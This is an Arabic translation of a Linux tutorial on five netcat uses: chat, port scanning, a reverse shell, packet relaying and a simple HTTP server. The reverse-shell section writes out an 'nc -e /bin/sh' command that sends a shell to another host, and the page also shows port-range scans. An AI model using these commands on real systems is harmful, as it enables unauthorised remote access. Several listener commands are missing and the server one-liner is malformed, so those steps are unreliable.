5 استخدامات بسيطة وسهلة لـ Netcat في Linux

5 استخدامات بسيطة وسهلة لـ Netcat في Linux


Netcat هي أداة مساعدة قوية لشبكة سطر الأوامر في Linux يمكنها إرسال حزم TCP و UDP والاستماع إليها. على عكس أدوات الشبكة الأخرى ، فإن netcat أساسي للغاية. ومع ذلك ، فإن بساطته تسمح له أيضًا بالقيام بأي نوع من النشاط تقريبًا عبر الشبكة.

ستوضح لك هذه المقالة 5 مهام بسيطة للشبكات يمكنك القيام بها باستخدام netcat. علاوة على ذلك ، ستسلط هذه المقالة الضوء أيضًا على ما يجعل netcat مميزًا ولماذا يجب عليك تضمينه في مجموعة أدوات Linux الخاصة بك.

كيف يعمل Netcat ولماذا يتم استخدامه؟

Netcat هي أداة مساعدة أساسية يمكنها إرسال واستقبال حزم الشبكة. تم إصداره لأول مرة في عام 1995 من قبل مبرمج اسم مستعار اسمه Hobbit. منذ ذلك الحين ، كان netcat جزءًا مهمًا من كل توزيعات Linux.

يعمل netcat في جوهره عن طريق إرسال طلبات الشبكة من مضيف Linux إلى مضيف آخر. يمكن أن يحتوي طلب الشبكة هذا على أي نوع من البيانات ويمكنك إرسالها عبر أي منفذ.

يعني هذا النهج أن netcat يمكنه إنشاء أي نوع من اتصال الشبكة ممكن. على سبيل المثال ، يمكن للبرنامج إنشاء اتصالات TCP مباشرة والتي يمكنك استخدامها إما لنقل الملفات أو إنشاء جلسات shell العكسية.

1. جلسة دردشة من نظير إلى نظير

أحد الاستخدامات الأساسية لـ netcat هو جلسة محادثة بسيطة من نظير إلى نظير بين جهازي Linux. هذه طريقة اتصال لا تعتمد على أي خادم تابع لجهة خارجية لإرسال المعلومات وتلقيها.

  1. لكي يعمل هذا ، تحتاج إلى فتح منفذ بين 49152 و 65536 على جهازك المحلي. هذا هو المكان الذي سيتمكن فيه المضيف البعيد من الاتصال وإرسال معلومات عشوائية إلى جهازك.
  1. تحتاج أيضًا إلى فتح منفذ مختلف على المضيف البعيد حتى يتمكن جهازك من إرسال المعلومات إليه:
  1. يجري netcat على جهازك بالوسيطات التالية:

سيؤدي هذا إلى فتح جلسة netcat التي تستمع بنشاط للبيانات الموجودة على المنفذ 50000.

  1. يمكن للمضيف البعيد الآن إرسال أي بيانات نصية إلى جهازك المحلي. على سبيل المثال ، سيرسل الأمر التالي الإدخال القياسي للنظام إلى جهاز بعيد.
cat - | nc 192.168.122.136 50000
محطة تعرض موجه الإدخال القياسي لمحادثة netcat الأساسية.
  1. للرد على الرسالة ، يحتاج المضيف البعيد أيضًا إلى تشغيل برنامج استماع خفي:
  1. الآن ، يمكنك أيضًا إرسال رسالة من الجهاز المحلي إلى المضيف البعيد:
cat - | nc 192.168.122.177 50001
محطة طرفية تعرض محطتين افتراضيتين لمحادثة netcat ثنائية الاتجاه.

2. الماسح الضوئي الأساسي

ماسح المنافذ هو أداة مساعدة بسيطة تتحقق مما إذا كان يمكن الوصول إلى مجموعة من المنافذ في الجهاز من مضيف بعيد. هذا مفيد للغاية في الحالات التي لا تكون فيها متأكدًا مما إذا كان نظامك يحتوي على المنافذ المناسبة مفتوحة.

للتحقق من وجود منفذ واحد ، يمكنك تشغيل nc -v متبوعًا بعنوان IP والمنفذ الذي تريد التحقق منه:

محطة توضح فحص المنفذ الأساسي للمنفذ 80.

يمكنك أيضًا توفير مجموعة من الأرقام حيث سيتحقق netcat بالتسلسل من كل رقم منفذ داخل هذا النطاق. على سبيل المثال ، سيؤدي تشغيل الأمر التالي إلى البحث عن جميع المنافذ المفتوحة “المعروفة جيدًا”:

nc -v 192.168.122.177 1-1024
محطة تعرض مسحًا مجمّعًا لـ "معروف" الموانئ.

تتمثل إحدى سلبيات الاستعلام عن المنافذ في أنها تولد حركة مرور غير ضرورية على الشبكة. قد تكون هذه مشكلة إذا كنت تختبر مجموعة كبيرة من المنافذ في شبكة منزلية صغيرة.

لإصلاح ذلك ، قم بتمكين وضع “Zero I / O” الخاص بـ netcat والذي لا ينشئ أي نشاط شبكة على المضيف البعيد:

nc -zv 192.168.122.177 1-1024
محطة تُظهر مسحًا ضوئيًا لمنافذ الإدخال والإخراج الصفرية باستخدام netcat.

لعِلمِكَ: تعرف على كيفية استخدام nmap حتى بدون sudo لجمع معلومات حول الأجهزة في شبكتك المحلية.

3. شل العكسي

الأصداف العكسية هي الخبز والزبدة لاختبار الاختراق في Linux. هذه هي حالات shell عن بُعد التي تسمح لك بالتحكم في النظام حتى بدون فتح منافذ واردة. هذا يجعل الأصداف العكسية سهلة الاستخدام إذا كنت بحاجة إلى الوصول إلى جهاز لا يحتوي على أي وصول عبر SSH.

  1. لإنشاء غلاف عكسي ، تحتاج إلى فتح برنامج خفي للمستمع في جهازك المحلي:
  1. ابدأ اتصال netcat في جهازك البعيد. في هذه الحالة ، تحتاج أيضًا إلى تجاوز بيئة غلاف الآلة البعيدة:
nc -e /bin/sh 192.168.122.136 50000

ملحوظة: لن يعمل الأمر أعلاه إلا مع توزيعات بخلاف Ubuntu. للقيام بذلك في Ubuntu ، تحتاج إلى تثبيت حزمة “netcat-Traditional” واستبدال “nc” بـ “nc.traditional.”

  1. ارجع إلى جهازك المحلي وقم بتشغيل أمر shell. على سبيل المثال ، الجري ls سيطبع الدليل الحالي للمستخدم البعيد.
محطة توضح إخراج غلاف عكسي ناجح.
  1. لإنهاء جلسة shell العكسية ، يمكنك الضغط على كنترول + ج على برنامج المستمع الخاص بجهازك المحلي.
محطة توضح إغلاق الغلاف العكسي في الماكينة المحلية.

جيد ان تعلم: تعلم كيف يمكنك استخدام الصدفة العكسية بشكل فعال من خلال تعلم أساسيات البرمجة النصية للقذيفة.

4. ترحيل الحزمة الأساسية

بصرف النظر عن القراءة والكتابة مباشرة إلى دفق الشبكة ، يمكنك أيضًا استخدام netcat لإعادة توجيه اتصال وارد إلى أي منفذ صادر. يعمل هذا من خلال تسلسل جلسات عمل مستمع Netcat وعملاء متعددة باستخدام أنابيب UNIX.

  1. قم بإنشاء جلسة netcat التي تستمع على المنفذ 50000. سيعمل هذا كمنفذ صادر للترحيل الأساسي الخاص بك:
  1. افتح طرفية جديدة وقم بتشغيل الأمر التالي:
nc -lv localhost 50001 | nc localhost 50000

سيؤدي القيام بذلك إلى إنشاء برنامج خفي جديد للمستمع على المنفذ 50001 وسيعيد توجيه أي حزم على هذا المنفذ تلقائيًا إلى المنفذ 50000.

محطة توضح اتصال العبور بين منفذين.
  1. يمكنك الآن إرسال البيانات إلى المنفذ الوارد وسيقوم netcat تلقائيًا بإعادة توجيه مخرجاته إلى المنفذ الصادر.
echo "MakeTechEasier" | nc localhost 50001
محطة تُظهر ترحيل الحزمة الأساسي أثناء العمل.
  1. بصرف النظر عن المنافذ المحلية ، يمكنك أيضًا استخدام هذه الميزة لإعادة توجيه أي حركة مرور على الشبكة إلى جهاز مختلف. على سبيل المثال ، يرسل الكود التالي البيانات الموجودة في المنفذ 50000 إلى نفس المنفذ على نظام مختلف:
nc -lv localhost 50000 | nc 192.168.122.177 50000
محطة تُظهر ترحيل الحزمة الأساسي بين مضيفين.

ملحوظة: لكي يعمل هذا ، ستحتاج إلى تشغيل عدة عمليات خفية ، ولا تقوم بتشفير أي بيانات تمر.

5. خادم HTTP الأساسي

يمكن أن يكون إعداد خادم HTTP عملية معقدة حتى إذا كنت تريد خدمة صفحة واحدة فقط. في هذا الصدد ، يمكن أن يعمل netcat أيضًا كخادم ويب ثابت بسيط يمكنك تشغيله في Linux دون تثبيت أي أدوات إضافية.

  1. قم بإنشاء ملف استجابة HTTP أساسي. يعرض مقتطف الشفرة التالي صفحة ويب برسالة بسيطة:
HTTP/1.1 200 OK
Content-Type: text/html; charset=UTF-8
Server: netcat!
 
<!doctype html>
<html>
    <body>
    <h1>Hello MakeTechEasier!</h1>
    </body>
</html>
  1. احفظه باسم “index.http” في دليل منزلك.
محطة توضح بنية استجابة HTTP بسيطة.
  1. قم بتشغيل الأمر التالي:
while true; do { echo -e 'cat /home/$USER/index.http; } | nc -lv localhost 8080; done
محطة طرفية توضح تشغيل خادم ويب netcat بسيط.

لديك الآن خادم ويب يعمل. يمكنك زيارة صفحة الويب الخاصة بك عن طريق فتح متصفح الويب والذهاب إلى http: // localhost: 8080.

لقطة شاشة تعرض خادم ويب netcat يعمل ويخدم صفحة ويب.
  1. يضعط كنترول + ج على الجهاز للخروج من جلسة خادم الويب الحالية.
محطة طرفية توضح عملية الإغلاق لخادم الويب netcat الأساسي.

ملحوظة: كما ترى ، هذا فقط خادم HTTP أساسي للغاية وهو غير آمن. إذا كنت تقوم بتشغيل الخادم الخاص بك ، فيجب عليك اتباع هذه النصائح لتأمين الخادم الخاص بك.

جيد ان تعلم: تعرف على كيفية إدارة ملفاتك بشكل فعال باستخدام sed لمعالجة تدفقات النص.

أسئلة مكررة

لا يمكنني الاتصال بجهاز بعيد باستخدام netcat.

هذه المشكلة على الأرجح بسبب حظر منفذ جدار الحماية على الجهاز البعيد. تحتاج إلى التأكد من أن المنفذ الذي تستخدمه في جهازك مفتوح للاتصالات الواردة والصادرة. على سبيل المثال ، تحتاج إلى الجري sudo ufw allow 49999 إذا كنت تريد استخدام المنفذ 49999 على الجهاز البعيد.

هل من الممكن الاتصال بأي مضيف باستخدام netcat؟

لا ، بينما يمكن لـ netcat القراءة والكتابة إلى أي دفق شبكة عشوائي ، لا يمكنه الاتصال بجهاز لا يمكن اكتشافه من شبكة نظامك. وتشمل هذه الشبكات الخاصة التي لا تحتوي على تمكين إعادة توجيه المنفذ وكذلك أنظمة الفجوة الهوائية التي لا تحتوي على إمكانية الوصول إلى الشبكة.

هل من الممكن انتحال اتصال في netcat؟

لا ، هذا لأن netcat يمكنه فقط إرسال واستقبال الحزم من واجهة شبكة صالحة. ومع ذلك ، يمكنك تغيير المكان الذي تأتي منه هذه الحزمة المعينة إذا كان لديك العديد من واجهات الشبكة.

على سبيل المثال ، يمكنك الجري nc -l -s 10.0.0.2 -p 50000 لإخبار netcat بإرسال الحزم بشكل صريح باستخدام الواجهة التي تحتوي على عنوان IP “10.0.0.2”.

رصيد الصورة: ThisisEngineering RAEng عبر Unsplash. جميع التعديلات ولقطات الشاشة بواسطة Ramces Red.

رمسيس أحمر
رمسيس أحمر

Ramces كاتب تقني عاش مع أجهزة الكمبيوتر طوال حياته. إنه قارئ غزير الإنتاج وطالب في الأنثروبولوجيا ، وهو شخصية غريبة الأطوار يكتب مقالات عن Linux وأي شيء * لا شىء.

اشترك في نشرتنا الإخبارية!

يتم تسليم أحدث دروسنا مباشرة إلى صندوق الوارد الخاص بك

Comments

No comments yet. Why don’t you start the discussion?

اترك تعليقاً

لن يتم نشر عنوان بريدك الإلكتروني. الحقول الإلزامية مشار إليها بـ *